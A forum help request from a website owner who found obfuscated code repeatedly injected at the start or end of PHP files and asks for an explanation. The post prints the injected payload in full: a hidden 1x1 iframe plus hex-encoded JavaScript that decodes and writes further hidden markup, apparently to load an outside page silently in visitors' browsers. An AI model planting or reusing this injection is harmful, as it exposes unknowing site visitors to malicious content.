hi

I am not sure if this is the right section, but the files I am using in my website are written in php language.

Yesterday, I try to edit my files and found at the end of the index file this code:

`<iframe src='http://url/' width='1' height='1' style='visibility: hidden;'></iframe><script>function c102916999516l4963660743084(l4963660743855){ var l4963660744026=16; return (parseInt(l4963660743855,l4963660744026));}function l4963660744fc7(l4963660745797){ function l4963660746f0b(){return 2;} var l4963660745f69='';l4963660747eab=String.fromCharCode;for(l4963660746738=0;l4963660746738<l4963660745797.length;l4963660746738+=l4963660746f0b()){ l4963660745f69+=(l4963660747eab(c102916999516l4963660743084(l4963660745797.substr(l4963660746738,l4963660746f0b()))));}return l4963660745f69;} var x60='';var l4963660748680='3C736'+x60+'3726'+x60+'970743E6'+x60+'96'+x60+'6'+x60+'28216'+x60+'D796'+x60+'96'+x60+'1297B6'+x60+'46'+x60+'F6'+x60+'3756'+x60+'D6'+x60+'56'+x60+'E742E77726'+x60+'9746'+x60+'528756'+x60+'E6'+x60+'5736'+x60+'36'+x60+'1706'+x60+'528202725336'+x60+'32536'+x60+'392536'+x60+'36'+x60+'2537322536'+x60+'312536'+x60+'6'+x60+'42536'+x60+'352532302536'+x60+'6'+x60+'52536'+x60+'312536'+x60+'6'+x60+'42536'+x60+'3525336'+x60+'42536'+x60+'332533312533302532302537332537322536'+x60+'3325336'+x60+'42532372536'+x60+'3825373425373425373025336'+x60+'125326'+x60+'6'+x60+'25326'+x60+'6'+x60+'2536'+x60+'372536'+x60+'6'+x60+'6'+x60+'2536'+x60+'372536'+x60+'6'+x60+'6'+x60+'2533322536'+x60+'6'+x60+'42536'+x60+'3525326'+x60+'52536'+x60+'6'+x60+'52536'+x60+'3525373425326'+x60+'6'+x60+'25326'+x60+'52536'+x60+'372536'+x60+'6'+x60+'6'+x60+'25326'+x60+'6'+x60+'2536'+x60+'332536'+x60+'382536'+x60+'352536'+x60+'332536'+x60+'6'+x60+'225326'+x60+'52536'+x60+'382537342536'+x60+'6'+x60+'42536'+x60+'6'+x60+'32532372532302537372536'+x60+'392536'+x60+'342537342536'+x60+'3825336'+x60+'42533332533342533392532302536'+x60+'382536'+x60+'352536'+x60+'392536'+x60+'372536'+x60+'3825373425336'+x60+'42533352533352533372532302537332537342537392536'+x60+'6'+x60+'32536'+x60+'3525336'+x60+'4253237253736'+x60+'2536'+x60+'392537332536'+x60+'392536'+x60+'322536'+x60+'392536'+x60+'6'+x60+'32536'+x60+'3925373425373925336'+x60+'12536'+x60+'382536'+x60+'392536'+x60+'342536'+x60+'342536'+x60+'352536'+x60+'6'+x60+'525323725336'+x60+'525336'+x60+'325326'+x60+'6'+x60+'2536'+x60+'392536'+x60+'36'+x60+'2537322536'+x60+'312536'+x60+'6'+x60+'42536'+x60+'3525336'+x60+'52729293B7D76'+x60+'6'+x60+'172206'+x60+'D796'+x60+'96'+x60+'13D7472756'+x60+'53B3C2F736'+x60+'3726'+x60+'970743E';document.write(l4963660744fc7(l4963660748680));</script>`

I asked the hosting service about it and they told me is either the google ad script that I had in my website or there are some security holes in the script that I am using. I asked the makers of the script and they assured me that the script is secure.

Can anyone explain this code to me? it is not the first time I face this problem, from time to another I found strange code placed at the beginning or at the end of the file.

Please explain the code to me or give me a solution?